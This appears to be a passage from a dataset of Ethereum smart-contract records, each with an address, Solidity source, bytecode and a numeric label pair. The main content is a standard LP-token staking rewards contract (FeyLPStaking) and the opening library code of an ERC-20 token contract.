f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b600081848411156121695760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561212e578181015183820152602001612116565b50505050905090810190601f16801561215b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610caf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818361221a5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561212e578181015183820152602001612116565b50600083858161222657fe5b0495945050505050565b6014805461ff0019166101001790556012546013546000916122529190612171565b90508060165411156122645750612514565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061229257fe5b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156122e657600080fd5b505afa1580156122fa573d6000803e3d6000fd5b505050506040513d602081101561231057600080fd5b505181518290600190811061232157fe5b6001600160a01b03928316602091820292909201015260195447916123499130911685611a7d565b60195460405163791ac94760e01b8152600481018581526000602483018190523060648401819052426084850181905260a060448601908152885160a487015288516001600160a01b039097169663791ac947968b968b9594939092909160c40190602080880191028083838b5b838110156123cf5781810151838201526020016123b7565b505050509050019650505050505050600060405180830381600087803b1580156123f857600080fd5b505af115801561240c573d6000803e3d6000fd5b5050505060006124258247611a3790919063ffffffff16565b905060006124428561149b6012548561199c90919063ffffffff16565b90508015612486576017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612484573d6000803e3d6000fd5b505b4780156124c8576017546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156124c6573d6000803e3d6000fd5b505b60006012819055601355604080518781526020810185905281517f015fc8ee969fd902d9ebd12a31c54446400a2b512a405366fe14defd6081d220929181900390910190a15050505050505b6014805461ff0019169055565b600084818061254e85612542578661253a57600061253d565b60015b612545565b60025b60ff1689612668565b9150915080600014612619576125648382611a37565b9250612589612573828961199c565b3060009081526005602052604090205490612171565b30600090815260056020908152604080832093909355600b9052205460ff16156125d857306000908152600660205260409020546125c79082612171565b306000908152600660205260409020555b60408051828152905130916001600160a01b038c16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35b81156126395761263561262c838961199c565b60095490611a37565b6009555b612658816126528460115461217190919063ffffffff16565b90612171565b6011555090979650505050505050565b60008060006126a3600d54600201600a0a61149b600e888154811061268957fe5b90600052602060002001548761199c90919063ffffffff16565b905060006126dd600d54600201600a0a61149b601089815481106126c357fe5b90600052602060002001548861199c90919063ffffffff16565b90506000612717600d54600201600a0a61149b600f8a815481106126fd57fe5b90600052602060002001548961199c90919063ffffffff16565b6012549091506127279083612171565b6012556013546127379082612171565b601355826127458383612171565b94509450505050925092905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204163636f756e7420697320616c7265616479206578636c75646564416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a2057652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a204163636f756e7420697320616c726561647920696e636c7564656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e956743f9ede879d87f613ee861b50988f69564afab2e0e05eb39263a1fdf75c64736f6c634300060c0033
[ 13, 11 ]
0xf32a04033d0eee4931c0a8f640380344aa52f1af
// SPDX-License-Identifier: -- 💰 -- pragma solidity ^0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Generic SafeMath Library, can be removed if the * contract will be rewritten to ^0.8.0 Solidity compiler */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /* * @dev Context for msg.sender and msg.data can be removed * used in Ownable to determine msg.sender through _msgSender(); * This contract is only required for intermediate, library-like contracts. */ contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _owner = _msgSender(); emit OwnershipTransferred( address(0), _owner ); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( isOwner(), 'Ownable: caller is not the owner' ); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred( _owner, address(0x0) ); _owner = address(0x0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0x0), 'Ownable: new owner is the zero address' ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transfer.selector, to, value ) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transferFrom.selector, from, to, value ) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, value ) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance( address(this), spender ).add(value); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance( address(this), spender ).sub(value); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn( IERC20 token, bytes memory data ) private { require( address(token).isContract(), 'SafeERC20: call to non-contract' ); (bool success, bytes memory returndata) = address(token).call(data); require( success, 'SafeERC20: low-level call failed' ); if (returndata.length > 0) { require( abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed' ); } } } /** * @title LPTokenWrapper * @dev Wraps around ERC20 that is represented as Liquidity token * contract and is being distributed for providing liquidity for the pair. * This token is the staking token in this system / contract. */ contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; // ONBOARDING: Specify Liquidity Token Address IERC20 public uni = IERC20( 0xB6E544c3e420154C2C663f14eDAd92737d7FbdE5 ); uint256 private _totalSupply; mapping(address => uint256) private _balances; /** * @dev Returns total supply of staked token */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Returns balance of specific user */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev internal function for staking LP tokens */ function _stake(uint256 amount) internal { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); uni.safeTransferFrom( msg.sender, address(this), amount ); } /** * @dev internal function for withdrwaing LP tokens */ function _withdraw(uint256 amount) internal { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); uni.safeTransfer( msg.sender, amount ); } } contract FeyLPStaking is LPTokenWrapper, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // ONBOARDING: Specify Reward Token Address (FEY) IERC20 public fey = IERC20( 0xe8E06a5613dC86D459bC8Fb989e173bB8b256072 ); // ONBOARDING: Specify duration of single cycle for the reward distribution // reward distribution should be announced through {notifyRewardAmount} call uint256 public constant DURATION = 52 weeks; uint256 public periodFinish; uint256 public rewardRate; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded( uint256 reward ); event Staked( address indexed user, uint256 amount ); event Withdrawn( address indexed user, uint256 amount ); event RewardPaid( address indexed user, uint256 reward ); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /** * @dev Checks when last time the reward * was changed based on when the distribution * is about to be finished */ function lastTimeRewardApplicable() public view returns (uint256) { return Math.min( block.timestamp, periodFinish ); } /** * @dev Determines the ratio of reward per each token * stakd so the relative value can be calculated */ function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } /** * @dev Returns amount of tokens specific address or * staker has earned so far based on his stake and time * the stake been active so far. */ function earned( address account ) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1E18) .add(rewards[account]); } /** * @dev Ability to stake liquidity tokens */ function stake( uint256 amount ) public updateReward(msg.sender) { require( amount > 0, 'Cannot stake 0' ); _stake(amount); emit Staked( msg.sender, amount ); } /** * @dev Ability to withdraw liquidity tokens */ function withdraw( uint256 amount ) public updateReward(msg.sender) { require( amount > 0, 'Cannot withdraw 0' ); _withdraw(amount); emit Withdrawn( msg.sender, amount ); } /** * @dev allows to withdraw staked tokens * * withdraws all staked tokens by user * also withdraws rewards as user exits */ function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } /** * @dev allows to withdraw staked tokens * * withdraws all staked tokens by user * also withdraws rewards as user exits */ function getReward() public updateReward(msg.sender) returns (uint256 reward) { reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; fey.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /** * @dev Starts the distribution * * This must be called to start the distribution cycle * and allow stakers to start earning rewards */ function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0x0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } uint256 balance = fey.balanceOf(address(this)); require( rewardRate <= balance.div(DURATION), 'Provided reward too high' ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } }
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c80638b876347116100c3578063cf433f471161007c578063cf433f47146102d4578063df136d65146102dc578063e9fad8ee146102e4578063ebe2b12b146102ec578063edc9af95146102f4578063f2fde38b146102fc5761014c565b80638b876347146102415780638da5cb5b146102675780638f32d59b1461028b578063a694fc3a146102a7578063c8f33c91146102c4578063cd3daf9d146102cc5761014c565b80633c6b16ab116101155780633c6b16ab146101de5780633d18b912146101fb57806370a0823114610203578063715018a6146102295780637b0a47ee1461023157806380faa57d146102395761014c565b80628cc262146101515780630700037d1461018957806318160ddd146101af5780631be05289146101b75780632e1a7d4d146101bf575b600080fd5b6101776004803603602081101561016757600080fd5b50356001600160a01b0316610322565b60408051918252519081900360200190f35b6101776004803603602081101561019f57600080fd5b50356001600160a01b0316610390565b6101776103a2565b6101776103a9565b6101dc600480360360208110156101d557600080fd5b50356103b1565b005b6101dc600480360360208110156101f457600080fd5b5035610498565b6101776106df565b6101776004803603602081101561021957600080fd5b50356001600160a01b03166107b1565b6101dc6107cc565b61017761086f565b610177610875565b6101776004803603602081101561025757600080fd5b50356001600160a01b0316610888565b61026f61089a565b604080516001600160a01b039092168252519081900360200190f35b6102936108a9565b604080519115158252519081900360200190f35b6101dc600480360360208110156102bd57600080fd5b50356108cf565b6101776109b3565b6101776109b9565b61026f610a07565b610177610a16565b6101dc610a1c565b610177610a38565b61026f610a3e565b6101dc6004803603602081101561031257600080fd5b50356001600160a01b0316610a4d565b6001600160a01b0381166000908152600a6020908152604080832054600990925282205461038a919061038490670de0b6b3a76400009061037e9061036f906103696109b9565b90610aaf565b610378886107b1565b90610af8565b90610b51565b90610b93565b92915050565b600a6020526000908152604090205481565b6001545b90565b6301dfe20081565b336103ba6109b9565b6008556103c5610875565b6007556001600160a01b0381161561040c576103e081610322565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610455576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b61045e82610bed565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6104a06108a9565b6104f1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60006104fb6109b9565b600855610506610875565b6007556001600160a01b0381161561054d5761052181610322565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b600554421061056c57610564826301dfe200610b51565b6006556105af565b60055460009061057c9042610aaf565b9050600061059560065483610af890919063ffffffff16565b90506105a96301dfe20061037e8684610b93565b60065550505b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b1580156105fe57600080fd5b505afa158015610612573d6000803e3d6000fd5b505050506040513d602081101561062857600080fd5b5051905061063a816301dfe200610b51565b6006541115610690576040805162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b4260078190556106a4906301dfe200610b93565b6005556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b6000336106ea6109b9565b6008556106f5610875565b6007556001600160a01b0381161561073c5761071081610322565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b61074533610322565b915081156107ad57336000818152600a6020526040812055600454610776916001600160a01b039091169084610c3e565b60408051838152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5090565b6001600160a01b031660009081526002602052604090205490565b6107d46108a9565b610825576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60065481565b600061088342600554610c95565b905090565b60096020526000908152604090205481565b6003546001600160a01b031690565b6003546000906001600160a01b03166108c0610cab565b6001600160a01b031614905090565b336108d86109b9565b6008556108e3610875565b6007556001600160a01b0381161561092a576108fe81610322565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610970576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b61097982610caf565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b60075481565b60006109c36103a2565b6109d057506008546103a6565b6108836109fe6109de6103a2565b61037e670de0b6b3a7640000610378600654610378600754610369610875565b60085490610b93565b6004546001600160a01b031681565b60085481565b610a2d610a28336107b1565b6103b1565b610a356106df565b50565b60055481565b6000546001600160a01b031681565b610a556108a9565b610aa6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610a3581610d05565b6000610af183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da6565b9392505050565b600082610b075750600061038a565b82820282848281610b1457fe5b0414610af15760405162461bcd60e51b815260040180806020018281038252602181526020018061111c6021913960400191505060405180910390fd5b6000610af183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e3d565b600082820183811015610af1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600154610bfa9082610aaf565b60015533600090815260026020526040902054610c179082610aaf565b336000818152600260205260408120929092559054610a35916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c90908490610ea2565b505050565b6000818310610ca45781610af1565b5090919050565b3390565b600154610cbc9082610b93565b60015533600090815260026020526040902054610cd99082610b93565b336000818152600260205260408120929092559054610a35916001600160a01b0390911690308461105f565b6001600160a01b038116610d4a5760405162461bcd60e51b81526004018080602001828103825260268152602001806110f66026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610e355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dfa578181015183820152602001610de2565b50505050905090810190601f168015610e275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610e8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610dfa578181015183820152602001610de2565b506000838581610e9857fe5b0495945050505050565b610eb4826001600160a01b03166110b9565b610f05576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310610f425780518252601f199092019160209182019101610f23565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610fa4576040519150601f19603f3d011682016040523d82523d6000602084013e610fa9565b606091505b509150915081611000576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156110595780806020019051602081101561101c57600080fd5b50516110595760405162461bcd60e51b815260040180806020018281038252602a81526020018061113d602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611059908590610ea2565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906110ed5750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220ad4e260775d3af2d667f307794e8ccbad4753a750f9c004a968feda3d9ce8f6064736f6c63430007060033
[ 4, 7 ]
0xf32aa187d5bc16a2c02a6afb7df1459d0d107574
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) 